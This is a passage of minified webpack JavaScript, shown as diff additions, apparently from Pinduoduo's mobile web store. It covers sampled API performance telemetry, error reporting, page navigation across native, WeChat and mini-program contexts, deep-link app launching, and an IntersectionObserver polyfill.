1, + u = 1; + if (window.__CMT_AMPLIFY_RATE__) { + var l = window.__CMT_AMPLIFY_RATE__; + if (n[l]) + i = +l, + u = n[l]; + else { + var p = { + op: ""real_error"", + page_url: location.href, + error_message: ""cmt放大倍数"".concat(l, ""不合法支持1,2,4,5,10"") + }; + o.a.trackingRecord(p) + } + } + if (!(Math.random() > u)) { + var d = t.requestTime, + h = t.resTimeConsume, + f = t.reqData, + m = t.resData, + g = t.apiUrl, + v = t.statusCode, + _ = t.cmtURL, + b = 0, + y = 0; + f && (b = JSON.stringify(f).length), + m && (y = JSON.stringify(m).length); + var w = r.a.getRandomInteger(6); + this.getNetWorkType().then(function(t) { + var n = { + v: 1, + t: d, + r: w, + c: Object(a.a)(d + ""-"" + w), + d: { + t: Date.now(), + tu: g, + n: c[t] || 0, + c: v, + r: i, + rt: h, + q: b, + p: y, + e: { + uid: r.a.getSelfUID(), + page_id: s.getPageID(), + model: navigator.userAgent + } + } + }, + o = { + method: ""POST"", + body: JSON.stringify(n), + headers: { + ""Content-Type"": ""application/json;charset=UTF-8"" + }, + credentials: ""include"" + }; + e(_, o) + }) + } + } + }; + t.a = u + }).call(this, n(""BlQd"")) + }, + i5gM: function(e, t, n) { + ""use strict""; + var r = n(""MVZn""), + a = n.n(r), + i = n(""Fcpp""), + o = (n(""IgcI""), + n(""lwsE"")), + s = n.n(o), + c = n(""W8MJ""), + u = n.n(c), + l = n(""xnWZ""), + p = n(""uf4C"").a.getInstance(), + d = function() { + function e(t) { + var n = Object.assign({}, t); + s()(this, e), + this.is_server = ""undefined"" == typeof window, + this.op = ""real_error"", + this.error_code = n.code, + this.error_msg = n.msg, + this.platform = this.is_server ? ""server"" : l.b.Current, + this.is_server || (this.page_url = window.location.href, + this.sub_op = ""mobile_"".concat(p.getPageName(), ""_custom_error""), + this.page = n.stack ? n.message + "","" + n.stack : n.message), + Object.assign(this, n) + } + return u()(e, [{ + key: ""errorCode"", + set: function(e) { + this.error_code = e + }, + get: function() { + return this.error_code + } + }, { + key: ""errorMsg"", + set: function(e) { + this.error_msg = e + }, + get: function() { + return this.error_msg + } + }]), + e + }(), + h = n(""GTJB""); + n.d(t, ""a"", function() { + return f + }); + + function f() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : h.a.DefaultCodeMsg, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, + n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : {}, + r = ""undefined"" == typeof window, + o = a()({}, e, {}, t, {}, { + message: t.message, + stack: t.stack && t.stack.replace(/[\r\n]/g, "" "") + }), + s = new d(o); + r && function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + e.errorCode, + e.errorMsg, + e.stack, + t.isCatLog, + t.isNodeKibanaLog; + 0 + }(s, n), + r || i.a.trackingRecord(a()({}, s)) + } + }, + iTkx: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return r + }); + var r = function(e) { + return e.indexOf(""hutaojie"") >= 0 + } + }, + iZ5V: function(e, t, n) { + ""use strict""; + t.a = function() { + return ""/p/pre"" + } + }, + ii9O: function(e, t, n) { + ""use strict""; + n.d(t, ""b"", function() { + return T + }); + var r = n(""cDf5""), + a = n.n(r), + i = n(""MpJ2""), + o = n(""KoDT""), + s = n(""h3qu""), + c = n(""mj+i""), + u = n(""jtE3""), + l = n(""fkZF""), + p = n(""nx6v""), + d = n(""uf4C""), + h = n(""Fcpp""), + f = n(""xFnu""), + m = n(""DzJC""), + g = n.n(m), + v = Object(o.b)(window.navigator.userAgent), + _ = [""/goods.html"", ""/subject.html"", ""/subjects.html"", ""/spike.html"", ""/order.html"", ""/order_checkout.html"", ""/orders.html"", ""/personal.html"", ""chat_detail.html"", ""chat_detail_logistics"", ""commercial_bargain_list.html"", ""mkt_bargain_list.html"", ""coupons.html"", ""mall_page.html"", ""/comm_brand_page.html"", ""group7.html"", ""/index.html""], + b = d.a.getInstance(), + y = {}, + w = 300, + S = Object(c.e)(window.location.search); + + function C(e) { + h.a.trackingRecord({ + op: ""real_error"", + page: e.message + "" "" + JSON.stringify(e.stack), + page_url: location.href + }) + } + y = window.Navigation = { + GroupUrl: v.isNativePlatform || [""app.yangkeduo.com"", ""panduoduo.yangkeduo.com""].indexOf(location.hostname) >= 0 ? ""group7.html"" : ""group8.html"", + GoodsUrl: ""goods2.html"", + nextPageQuery: {}, + setNextPageQuery: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments.length > 1 ? arguments[1] : void 0; + if (e && ""object"" === a()(e)) + for (var n in e) + if (e.hasOwnProperty(n)) { + var r = e[n]; + ""page_el_sn"" === n ? window.Navigation.nextPageQuery.refer_page_el_sn = r : window.Navigation.nextPageQuery[n] = r + } + t && ""function"" == typeof t && t() + }, + getNextPageQuery: function() { + return window.Navigation.nextPageQuery + }, + home: function(e) { + v.statisfy && v.statisfy(""1.2.2"", ""2.0.8"", ""greaterThan"") || v.isTinyNativePlatform ? Object(i.c)(""JSNavigation"", ""selectTab"", { + tab_index: 0 + }) : this.reset(""index.html"", e) + }, + haitao: function(e) { + this.forward(""haitao.html"", e) + }, + reset: function(e, t) { + var n = this; + if (v.isNativePlatform || v.isTinyNativePlatform) + Object(i.c)(""JSNavigation"", ""reset"", { + url: Object(c.g)(e) + }).then(function() { + n.reload(e, t) + }, function() { + n.reload(e, t) + }); + else { + var r = e || """"; + r.indexOf(""/index.html"") >= 0 ? r = e.replace(""/index.html"", ""/"") : r.indexOf(""index.html"") >= 0 && (r = e.replace(""index.html"", ""/"")), + n.forward(r, t) + } + }, + reload: function(e, t) { + var n = M(e = e ? b.addPageTransferParameters(e) : D(Object.assign({}, S, window.Navigation.querySet))); + e = n.url; + try { + history.replaceState(null, """", e) + } catch (e) {} + if (v.isNativePlatform || v.isTinyNativePlatform) { + var r = !1; + try { + r = ""1"" === Object(c.f)(e).use_urm_navigation + } catch (e) { + r = !1 + } + var a = { + url: e, + type: ""web"", + props: { + url: e + } + }; + v.statisfy && v.statisfy(""4.26.0"", ""4.40.0"", ""greaterThanEqual"") && r && (a.type = """"); + var o = b.getPageInfoByUrl(e); + if (v.isNativePlatform && o.checkNativePageVersion(v.platform, v.version)) { + var s = Object.assign({}, o.getNativeQuery(v.platform), { + url: e + }, a.props); + return void window.Navigation.nativeAppPage(""replace"", o.getNativePageName(v.platform), s, t) + } + var u = b.getTransientReferPageParams(e); + u && (a.transient_refer_page_context = u), + Object(i.c)(""JSNavigation"", ""replace"", a).then(t) + } else + ! function() { + try { + history.replaceState(null, """", e) + } catch (e) {} + setTimeout(function() { + window && window.location ? window.location = e : location.href = e, + ""function"" == typeof t && t() + }, 0) + }() + }, + back: function(e, t, n, r) { + r = r || {}, + v.isNativePlatform || v.isTinyNativePlatform ? null == e ? Object(i.c)(""JSNavigation"", ""back"", { + props: r.props || {} + }).then(t) : Object(i.c)(""JSNavigation"", ""back"", { + url: Object(c.g)(e), + props: r.props || {} + }).then(t) : setTimeout(function() { + null == e || n ? history.back() : location.href = e, + ""function"" == typeof t && t() + }, 0) + }, + forward: function(e, t, n) { + var r = this, + a = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : {}, + o = e, + s = this.prepareForwardUrl(e), + l = s.launchApp, + p = s.url; + e = p, (l ? Object(u.a)(e) : Promise.reject()).catch(function() { + 0 === o.indexOf(""//"") && (o = e); + var s = b.getPageInfoByUrl(e); + if (v.isNativePlatform || v.isTinyNativePlatform) { + !a.componentFirst && Object(c.d)(o) || (e = Object(c.c)(e)); + var u = Object(c.f)(e); + if (!(""1"" === u.navigation_force_use_web_bundle) && s.checkNativePageVersion(v.platform, v.version)) + return r.forwardNativeByPageInfo(e, s, t, a); + var l = ""1"" === u.use_urm_navigation, + p = a.props, + d = a.transient_refer_page_context, + h = Object.assign({ + url: e, + type: ""web"", + props: Object.assign({ + url: e + }, p) + }, { + transient_refer_page_context: d + }); + v.statisfy && v.statisfy(""4.26.0"", ""4.40.0"", ""greaterThanEqual"") && l && (h.type = """"), + null != n && (h.tab_index = n); + var f = b.getTransientReferPageParams(e); + f && (h.transient_refer_page_context = f), + Object(i.c)(""JSNavigation"", ""forward"", h).then(t) + } else + r.webForward(e, t) + }) + }, + initWxAppNavigateWait: function(e) { + w = e || w, + this.throttleForwardWxAppPage = x(w) + }, + throttleForwardWxAppPage: x(), + webForward: function(e, t) { + setTimeout(function() { + N && N(e) ? y.throttleForwardWxAppPage(e) : location.href = e, + ""function"" == typeof t && t() + }, 0) + }, + prepareForwardUrl: function(e) { + return window.Navigation.querySet = Object.assign({}, S, window.Navigation.querySet, { + is_back: v.isNativePlatform ? null : ""1"" + }), + v.isWeChatMiniProgram || v.isQQMiniProgram || window.Navigation.replaceURL(D(window.Navigation.querySet)), + e = b.addPageTransferParameters(e), + M(e = D(window.Navigation.nextPageQuery, e)) + }, + forwardNativeByPageInfo: function(e, t, n) { + var r = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : {}, + a = Object.assign({}, t.getNativeQuery(v.platform), { + url: e + }, r.props); + window.Navigation.nativeAppPage(""forward"", t.getNativePageName(v.platform), a, n) + }, + uniformForward: function(e, t) { + var n = this, + r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : {}, + a = e, + o = this.prepareForwardUrl(e), + s = o.launchApp, + l = o.url; + e = l, (s ? Object(u.a)(e) : Promise.reject()).catch(function() { + 0 === a.indexOf(""//"") && (a = e); + var o = b.getPageInfoByUrl(e); + if (v.isNativePlatform || v.isTinyNativePlatform) { + Object(c.d)(a) || (e = Object(c.c)(e)); + var s = r.props, + u = r.transient_refer_page_context, + l = Object.assign({ + url: e, + type: ""web"", + props: Object.assign({ + url: e + }, s) + }, { + transient_refer_page_context: u + }); + if (v.statisfy && v.statisfy(""4.26.0"", ""4.40.0"", ""greaterThanEqual"")) + l.type = """"; + else if (!(""1"" === Object(c.f)(e).force_use_web_bundle) && o.checkNativePageVersion(v.platform, v.version)) + return n.forwardNativeByPageInfo(e, o, t, r); + null != r.tab_index && (l.tab_index = r.tab_index); + var p = b.getTransientReferPageParams(e); + p && (l.transient_refer_page_context = p), + Object(i.c)(""JSNavigation"", ""forward"", l).then(t) + } else + n.webForward(e, t) + }) + }, + forwardComponentFirst: function(e, t, n, r) { + (r = r || {}).componentFirst = !0, + this.forward(e, t, n, r) + }, + forwardMenuPage: function(e, t) { + v.isNativePlatform && Object(i.c)(""JSNavigation"", ""forward"", { + type: ""menuPage"", + props: { + pages: e + } + }).then(t) + }, + forwardChatPage: function(e, t) { + v.statisfy && v.statisfy(""1.2.2"", ""2.0.5"", ""greaterThan"") && Object(i.c)(""JSNavigation"", ""forward"", { + url: ""/chat_detail.html"", + type: ""chat"", + props: e + }).then(t) + }, + forwardMallPage: function(e) { + if (v.statisfy && v.statisfy(""1.3.0"", ""2.1.0"", ""greaterThan"")) + window.Navigation.forwardAppPage(""pdd_mall"", { + mall_id: e + }); + else { + var t = Object.assign({}, S, { + mall_id: e + }); + for (var n in t) + t.hasOwnProperty(n) && n.indexOf(""refer"") >= 0 && delete t[n]; + [""et"", ""sp"", ""from"", ""isappinstalled""].forEach(function(e) { + delete t[e] + }), + window.Navigation.forward(D({ + is_back: null + }, ""mall_page.html?"" + Object(c.b)(t))) + } + }, + forwardAddressPage: function(e, t) { + v.statisfy && v.statisfy(""1.3.1"", ""2.1.4"", ""greaterThanEqual"") ? window.Navigation.forwardAppPage(""address"", { + select: e.select || 0, + sale_provinces: e.saleRegions || [], + allow_shipping_provinces: e.allowShippingRegions || [], + address_id: e.addressID || """", + complete: t + }) : window.Navigation.forward(""addresses.html?"" + Object(c.b)(S, { + sel_address_id: e.addressID, + allowed_regions: e.saleRegions, + allow_shipping_provinces: e.allowShippingRegions + })) + }, + forwardSubjectsPage: function(e, t) { + v.statisfy && v.statisfy(""3.15.0"", ""3.15.0"", ""greaterThanEqual"") ? v.platform === s.a.PddIOS ? window.Navigation.forward(""subjects.html?"" + Object(c.b)(e)) : window.Navigation.forwardAppPage(""pdd_subjects"", e) : window.Navigation.forward(""subjects.html?"" + Object(c.b)(e)) + }, + forwardAppPage: function(e, t, n) { + window.Navigation.nativeAppPage(""forward"", e, t, n) + }, + maskAppPage: function(e, t) { + Object(i.c)(""JSNavigation"", ""mask"", { + type: e, + props: t + }) + }, + replaceURL: function(e, t) { + var n = function() { + try { + history.replaceState(null, """", e), + S = Object(c.f)(e) + } catch (e) {} + ""function"" == typeof t && t() + }; + v.statisfy && v.statisfy(""1.2.5"", ""2.1.0"", ""greaterThan"") ? Object(i.c)(""WebScene"", ""replaceURL"", { + url: e + }).then(function() { + window.Navigation.CurrentWebUrl = e, + ""function"" == typeof t && t() + }, n) : n() + }, + querySet: null, + replaceQuery: function(e, t) { + window.Navigation.querySet = Object.assign({}, window.Navigation.querySet, e), + ""function"" == typeof t && t() + }, + nativeAppPage: function(e, t, n, r) { + ""reload"" === (e = e || ""forward"") && (e = ""replace""), + ""backAndReload"" === e && (e = ""back""); + var a = { + type: t, + props: n, + transient_refer_page_context: b.getTransientReferPageParams(n) + }; + n.url && (a.url = n.url), + Object(i.c)(""JSNavigation"", e, a).then(r) + }, + blackFriday: function(e, t, n) { + this[e] || (e = ""forward""), + t = t || {}; + var r = ""/black_friday.html?"" + Object(c.b)(t); + this[e](r) + }, + orderPage: function(e, t, n) { + this[e] || (e = ""forward""), + t = t || {}; + var r = ""/order.html?"" + Object(c.b)(t), + a = S.last_host || """"; + a && location.hostname !== a && (r = ""//"" + a + r), + this[e](r) + }, + ordersPage: function(e, t, n) { + this[e] || (e = ""forward""), + t = t || {}; + var r = ""/orders.html?"" + Object(c.b)(t); + this[e](r) + }, + double12: function(e, t, n) { + this[e] || (e = ""forward""), + t = t || {}; + var r = ""/double12.html?"" + Object(c.b)(t); + this[e](r) + }, + newYear: function(e, t, n) { + this[e] || (e = ""forward""), + t = t || {}; + var r = ""/new_year.html?"" + Object(c.b)(t); + this[e](r) + }, + orderCheckoutPage: function(e, t) { + this[e] || (e = ""forward""); + var n = """"; + (t = t || {}).user_id; + delete t.user_id, + v.isWeChatPlatform && [""mobile.yangkeduo.com"", ""m.hutaojie.com"", ""panduoduo.yangkeduo.com""].indexOf(location.hostname) < 0 ? (t.last_host = location.hostname, + n = ""//mobile.yangkeduo.com/order_checkout.html?"" + Object(c.b)(t)) : n = ""/order_checkout.html?"" + Object(c.b)(t), + this[e](n) + }, + getGroupUrl: function(e, t) { + location.hostname; + return v.isWeChatPlatform && t ? ""//"" + p.a.WechatGroupHostname + ""/"" + this.GroupUrl + ""?group_order_id="" + e : """" + }, + genGroupPageUrl: function() { + var e, t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = v.isNativePlatform, + r = v.isWeChatPlatform, + a = p.a.VnsConstant || {}, + i = a.SpecGroupDomain, + o = a.GoodsEventTypeWhiteList || [], + s = parseInt(t.goodsEventType, 10), + u = o.indexOf(s) >= 0, + l = t.urlParams, + d = t.useSpecDomain, + h = void 0 === d || d; + t.addRandomSuffix && 654 === (e = Math.floor(9e3 * Math.random()) + 1) && (e = Math.floor(653 * Math.random()) + 1); + var f = n ? ""group7.html"" : ""group"".concat(e || 8, "".html""); + (u && (f = n ? ""vns_group.html"" : ""vns_group"".concat(e || """", "".html"")), + l && l.biz_type) && (2012 === parseInt(l.biz_type, 10) && (f = ""mhf_free_group.html"")); + (l && (f = """".concat(f, ""?"").concat(Object(c.b)(l))), + r) && (!([""m.hutaojie.com"", ""panduoduo.yangkeduo.com""].indexOf(location.hostname) >= 0) && h && i && (f = ""//"".concat(i, ""/"").concat(f))); + return f + }, + forwardGroupPage: function(e) { + location.hostname; + e = e || {}; + var t = this.GroupUrl, + n = t + ""?"" + Object(c.b)(e); + v.isWeChatPlatform && [""m.hutaojie.com""].indexOf(location.hostname) < 0 && (n = ""//m.ishangtong.com/"" + t + ""?"" + Object(c.b)(e)), + this.forward(n) + } + }; + var A, I = 5e3; + + function k(e) { + return Promise.race([new Promise(function(e, t) { + var n, r = new Date; + r.setMinutes(0, 0, 0); + var a, i = r.getTime(), + o = localStorage.getItem(""wxaPageMap""); + if (o && (a = JSON.parse(o)) && (n = a[i]), + n) + e(n); + else { + var s = ""https://xcxcdn.yangkeduo.com/mini_program/sdk/v2/pddminiprogram.js?"" + Object(l.a)(); + Object(f.a)(s, { + async: !0, + crossOrigin: ""anonymous"" + }).then(function() { + n = window.pddMiniProgram.routeConfig; + var t = {}; + t[i] = n, + localStorage.setItem(""wxaPageMap"", JSON.stringify(t)), + e(n) + }).catch(function(e) { + t(e) + }) + } + }), + function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : I; + return new Promise(function(t, n) { + setTimeout(function() { + n(new Error(""timeout after "".concat(e, ""ms""))) + }, e) + }) + }(e) + ]).catch(function(e) { + C(e) + }) + } + + function E(e, t) { + if (e) + try { + var n = Object.keys(e).find(function(e) { + return new RegExp(e).test(t) + }); + if (!n) + return {}; + var r = e[n], + a = r.path, + i = r.params, + o = r.query, + s = t.split(""#"")[0].split(""?"")[1]; + if (s) { + if (i) { + var u = Object(c.e)(s), + l = {}; + Object.keys(u).forEach(function(e) { + e in i ? l[i[e]] = u[e] : l[e] = u[e] + }), + a = a + ""?"" + Object(c.b)(l) + } else + a = a + ""?"" + s; + o && (a = a + ""&"" + o) + } else + o && (a = a + ""?"" + o); + return { + routeType: r.routeType || ""navigateTo"", + miniProgramUrl: a + } + } catch (e) { + C(e) + } + return _.some(function(e) { + return -1 !== t.indexOf(e) + }) ? { + routeType: ""navigateTo"", + miniProgramUrl: ""/pages/web_bridge/web_bridge?targetpage="" + t.replace(""?"", ""&"") + } : {} + } + + function T(e, t) { + return k(t).then(function(t) { + return E(t, e).miniProgramUrl + }) + } + + function N(e) { + var t = !1; + if (!e || ""string"" != typeof e || !v.isWeChatMiniProgram && !v.isQQMiniProgram || !window.wx || !window.wx.miniProgram) + return !1; + if (A) + try { + return Object.keys(A).some(function(t) { + return new RegExp(t).test(e) + }) + } catch (e) { + C(e) + } + return _.forEach(function(n) { + -1 !== e.indexOf(n) && (t = !0) + }), + t + } + + function x() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : w; + return g()(O, e, { + trailing: !1 + }) + } + + function O(e, t) { + var n = E(A, e), + r = window.wx.miniProgram[n.routeType]; + r && r({ + url: n.miniProgramUrl, + success: t + }) + } + + function D(e, t) { + return t = Object(c.a)(e, Object(c.g)(t || location.href)) + } + + function P(e) { + return Object(c.c)(e).split(""?"")[0] + } + + function R(e) { + return window.__NAVIGATION_MAP__[e] ? window.__NAVIGATION_MAP__[e] : window.__NAVIGATION_MAP__[e.slice(1)] + } + + function M(e) { + var t = P(e), + n = function(e) { + if (window.__NAVIGATION_MAP__ && v.isWeChatPlatform) { + for (var t = P(e), n = {}, r = t, a = null; void 0 !== R(r);) { + if (void 0 !== n[r]) { + console.error(""circular navigation route "".concat(t)); + break + } + var i = R(r); + if (""APP"" === i.toUpperCase()) + return { + finalPathName: r, + finalUrlQuery: a, + launchApp: !0 + }; - 1 !== i.indexOf(""?"") && (a = Object.assign({}, a, Object(c.f)(i))), + r = n[r] = P(i) + } + return { + finalPathName: r, + finalUrlQuery: a, + launchApp: !1 + } + } + return { + finalPathName: null, + finalUrlQuery: null, + launchApp: !1 + } + }(e); + if (n.finalPathName && n.finalPathName !== t) { + var r = new RegExp(""(.*)"".concat(t)); + e = e.replace(r, ""$1"".concat(n.finalPathName)), + n.finalUrlQuery && (e = Object(c.a)(n.finalUrlQuery, e)) + } + return { + url: e, + launchApp: n.launchApp + } + } + (v.isWeChatMiniProgram || v.isQQMiniProgram) && k().then(function(e) { + A = e + }), + t.a = y + }, + jK0q: function(e, t, n) { + (e.exports = n(""I1BE"")(!1)).push([e.i, ""#delay-load {\n position: fixed;\n max-width: 768px;\n width: 77.6%;\n left: 11.2%;\n background-color: white;\n border-radius: 6px;\n text-align: center;\n z-index: 10002;\n top: 25.5%;\n}\n\n#delay-load .head-icon {\n margin: 20px 0;\n width: 38%;\n height: auto;\n}\n\n#delay-load .desc {\n color: #343434;\n font-size: 15px;\n line-height: 21px;\n padding: 0 24px;\n text-align: left;\n}\n\n#delay-load .button {\n margin-left: 29%;\n margin-top: 24px;\n margin-bottom: 24px;\n width: 42%;\n height: 32px;\n line-height: 32px;\n border-radius: 2px;\n color: white;\n font-size: 14px;\n}\n\n#delay-load .wait {\n background-color: #CFCCCC;\n}\n\n#delay-load .refresh {\n background-color: #FF2742;\n}"", """"]) + }, + jtE3: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return _ + }); + var r, a = n(""KoDT""), + i = n(""h3qu""), + o = n(""mj+i""), + s = n(""fkZF""), + c = ""com.xunmeng.pinduoduo"", + u = ""pinduoduo:"", + l = ""3.13.0"", + p = ""wx77d53b84434b9d9a"", + d = 2e3, + h = 2500, + f = ""微信sdk还没有初始化"", + m = ""唤起App失败"", + g = { + openDirectly: 1, + openByTag: 2, + openByIframe: 3 + }, + v = Object(a.b)(window.navigator.userAgent); + + function _(e, t) { + if (v.isNativePlatform || v.isWeChatMiniProgram) { + return Promise.reject(new Error(""Native环境,node环境,微信小程序环境无法唤起"")) + } + var n = """".concat(u, ""//"").concat(c); + return e = Object(o.c)(e), + v.isWeChatPlatform ? window.wx ? new Promise(function(t) { + window.wx.ready(function() { + t(v.isIOSWeChatPlatform ? C("""".concat(n).concat(e)) : (v.isAndroidWeChatPlatform ? window.wx ? new Promise(function(e, t) { + window.wx.ready(function() { + if (!window.WeixinJSBridge || !window.WeixinJSBridge.invoke) + return t(new Error(f)); + window.WeixinJSBridge.invoke(""getInstallState"", { + packageName: c, + packageUrl: ""pinduoduo://"" + }, function(n) { + var r = n.err_msg, + a = void 0 === r ? """" : r, + i = n.versionName, + o = void 0 === i ? """" : i; + return /get_install_state:yes/.test(a) ? e({ + installed: !0, + version: o + }) : /get_install_state:no/.test(a) ? e({ + installed: !1, + version: o + }) : void t(new Error(a)) + }) + }) + }) : Promise.reject(f) : Promise.reject(new Error(""不支持iOS""))).then(function(t) { + var n = t.installed, + r = t.version; + if (n && Object(i.c)(r, l) > 0) + return C(e.slice(1)); + throw new Error("""".concat(m, "",安装状态:"").concat(JSON.stringify({ + installed: n, + version: r + }))) + })) + }) + }) : Promise.reject(new Error(f)) : function(e, t) { + var n, a; + void 0 !== document.hidden ? (n = ""hidden"", + a = ""visibilitychange"") : void 0 !== document.webkitHidden && (n = ""webkitHidden"", + a = ""webkitvisibilitychange""); + var o = Date.now(), + s = function() { + return new Promise(function(e, t) { + function i(o) { + if (document.removeEventListener(a, i), + clearTimeout(r), + document[n] || o.hidden || ""hidden"" === document.visibilityState) + return e(); + t(new Error(m)) + } + document.addEventListener(a, i, !1), + r = setTimeout(function() { + return document.removeEventListener(a, i), + document[n] || ""hidden"" === document.visibilityState ? e() : Date.now() - o > h ? e() : void t(new Error(m)) + }, d) + }) + }; + if (t) { + switch (t) { + case g.openByIframe: + y(e); + break; + case g.openByTag: + S(e); + break; + case g.openDirectly: + b(e) + } + return s() + } + var c = navigator.userAgent.toLowerCase(), + u = { + isIOS: v.system === i.b.IOS, + isAndroid: /android|adr/.test(c) && !/windows phone/.test(c), + isChrome: /(?:chrome|crios)\/([\d\.]+)/.test(c), + isQQ: /qq\/|mqqbrowser\/[\d\.]+/.test(c) + }; + u.isOriginalChrome = u.isAndroid && u.isChrome, + u.isIOS || u.isQQ ? S(e) : u.isOriginalChrome ? b(e) : y(e); + return s() + }("""".concat(n).concat(e), t) + } + + function b(e) { + window.location.href = e + } + + function y(e) { + var t = document.createElement(""iframe""); + t.src = e, + t.style.display = ""none"", + document.body.appendChild(t), + setTimeout(function() { + document.body.removeChild(t) + }, 200) + } + var w = ""pdd-launch-node-"".concat(Object(s.a)()); + + function S(e) { + var t = document.getElementById(w); + t || ((t = document.createElement(""a"")).id = w, + t.style.display = ""none"", + document.body.appendChild(t)), + t.href = e, + t.click() + } + + function C(e) { + var t = ""from=wx_webview&forward_url="" + encodeURIComponent(e); + return window.wx && window.wx.invoke ? new Promise(function(n, r) { + window.wx.invoke(""launchApplication"", { + appID: p, + extInfo: t, + messageExt: e + }, function(e) { + return ""launchApplication:ok"" === e.err_msg ? n() : r(new Error(m)) + }) + }) : Promise.reject(f) + } + }, + kVsE: function(e, t) { + ""undefined"" != typeof window && function(e, t) { + ""use strict""; + if (""IntersectionObserver"" in e && ""IntersectionObserverEntry"" in e && ""intersectionRatio"" in e.IntersectionObserverEntry.prototype) + ""isIntersecting"" in e.IntersectionObserverEntry.prototype || Object.defineProperty(e.IntersectionObserverEntry.prototype, ""isIntersecting"", { + get: function() { + return this.intersectionRatio > 0 + } + }); + else { + var n = []; + a.prototype.THROTTLE_TIMEOUT = 100, + a.prototype.POLL_INTERVAL = null, + a.prototype.USE_MUTATION_OBSERVER = !0, + a.prototype.observe = function(e) { + if (!this._observationTargets.some(function(t) { + return t.element == e + })) { + if (!e || 1 != e.nodeType) + throw new Error(""target must be an Element""); + this._registerInstance(), + this._observationTargets.push({ + element: e, + entry: null + }), + this._monitorIntersections(), + this._checkForIntersections() + } + }, + a.prototype.unobserve = function(e) { + this._observationTargets = this._observationTargets.filter(function(t) { + return t.element != e + }), + this._observationTargets.length || (this._unmonitorIntersections(), + this._unregisterInstance()) + }, + a.prototype.disconnect = function() { + this._observationTargets = [], + this._unmonitorIntersections(), + this._unregisterInstance() + }, + a.prototype.takeRecords = function() { + var e = this._queuedEntries.slice(); + return this._queuedEntries = [], + e + }, + a.prototype._initThresholds = function(e) { + var t = e || [0]; + return Array.isArray(t) || (t = [t]), + t.sort().filter(function(e, t, n) { + if (""number"" != typeof e || isNaN(e) || e < 0 || e > 1) + throw new Error(""threshold must be a number between 0 and 1 inclusively""); + return e !== n[t - 1] + }) + }, + a.prototype._parseRootMargin = function(e) { + var t = (e || ""0px"").split(/\s+/).map(function(e) { + var t = /^(-?\d*\.?\d+)(px|%)$/.exec(e); + if (!t) + throw new Error(""rootMargin must be specified in pixels or percent""); + return { + value: parseFloat(t[1]), + unit: t[2] + } + }); + return t[1] = t[1] || t[0], + t[2] = t[2] || t[0], + t[3] = t[3] || t[1], + t + }, + a.prototype._monitorIntersections = function() { + this._monitoringIntersections || (this._monitoringIntersections = !0, + this.POLL_INTERVAL ? this._monitoringInterval = setInterval(this._checkForIntersections, this.POLL_INTERVAL) : (i(e, ""resize"", this._checkForIntersections, !0), + i(t, ""scroll"", this._checkForIntersections, !0), + this.USE_MUTATION_OBSERVER && ""MutationObserver"" in e && (this._domObserver = new MutationObserver(this._checkForIntersections), + this._domObserver.observe(t, { + attributes: !0, + childList: !0, + characterData: !0, + subtree: !0 + })))) + }, + a.prototype._unmonitorIntersections = function() { + this._monitoringIntersections && (this._monitoringIntersections = !1, + clearInterval(this._monitoringInterval), + this._monitoringInterval = null, + o(e, ""resize"", this._checkForIntersections, !0), + o(t, ""scroll"", this._checkForIntersections, !0), + this._domObserver && (this._domObserver.disconnect(), + this._domObserver = null)) + }, + a.prototype._checkForIntersections = function() { + var t = this._rootIsInDom(), + n = t ? this._getRootRect() : { + top: 0, + bottom: 0, + left: 0, + right: 0, + width: 0, + height: 0 + }; + this._observationTargets.forEach(function(a) { + var i = a.element, + o = c(i), + s = this._rootContainsTarget(i), + u = a.entry, + l = t && s && this._computeTargetAndRootIntersection(i, n), + p = a.entry = new r({ + time: e.performance && performance.now && performance.now(), + target: i, + boundingClientRect: o, + rootBounds: n, + intersectionRect: l + }); + u ? t && s ? this._hasCrossedThreshold(u, p) && this._queuedEntries.push(p) : u && u.isIntersecting && this._queuedEntries.push(p) : this._queuedEntries.push(p) + }, this), + this._queuedEntries.length && this._callback(this.takeRecords(), this) + }, + a.prototype._computeTargetAndRootIntersection = function(n, r) { + if (""none"" != e.getComputedStyle(n).display) { + for (var a = c(n), i = l(n), o = !1; !o;) { + var u = null, + p = 1 == i.nodeType ? e.getComputedStyle(i) : {}; + if (""none"" == p.display) + return; + if (i == this.root || i == t ? (o = !0, + u = r) : i != t.body && i != t.documentElement && ""visible"" != p.overflow && (u = c(i)), + u && !(a = s(u, a))) + break; + i = l(i) + } + return a + } + }, + a.prototype._getRootRect = function() { + var e; + if (this.root) + e = c(this.root); + else { + var n = t.documentElement, + r = t.body; + e = { + top: 0, + left: 0, + right: n.clientWidth || r.clientWidth, + width: n.clientWidth || r.clientWidth, + bottom: n.clientHeight || r.clientHeight, + height: n.clientHeight || r.clientHeight + } + } + return this._expandRectByRootMargin(e) + }, + a.prototype._expandRectByRootMargin = function(e) { + var t = this._rootMarginValues.map(function(t, n) { + return ""px"" == t.unit ? t.value : t.value * (n % 2 ? e.width : e.height) / 100 + }), + n = { + top: e.top - t[0], + right: e.right + t[1], + bottom: e.bottom + t[2], + left: e.left - t[3] + }; + return n.width = n.right - n.left, + n.height = n.bottom - n.top, + n + }, + a.prototype._hasCrossedThreshold = function(e, t) { + var n = e && e.isIntersecting ? e.intersectionRatio || 0 : -1, + r = t.isIntersecting ? t.intersectionRatio || 0 : -1; + if (n !== r) + for (var a = 0; a < this.thresholds.length; a++) { + var i = this.thresholds[a]; + if (i == n || i == r || i < n != i < r) + return !0 + } + }, + a.prototype._rootIsInDom = function() { + return !this.root || u(t, this.root) + }, + a.prototype._rootContainsTarget = function(e) { + return u(this.root || t, e) + }, + a.prototype._registerInstance = function() { + n.indexOf(this) < 0 && n.push(this) + }, + a.prototype._unregisterInstance = function() { + var e = n.indexOf(this); - 1 != e && n.splice(e, 1) + }, + e.IntersectionObserver = a, + e.IntersectionObserverEntry = r + } + + function 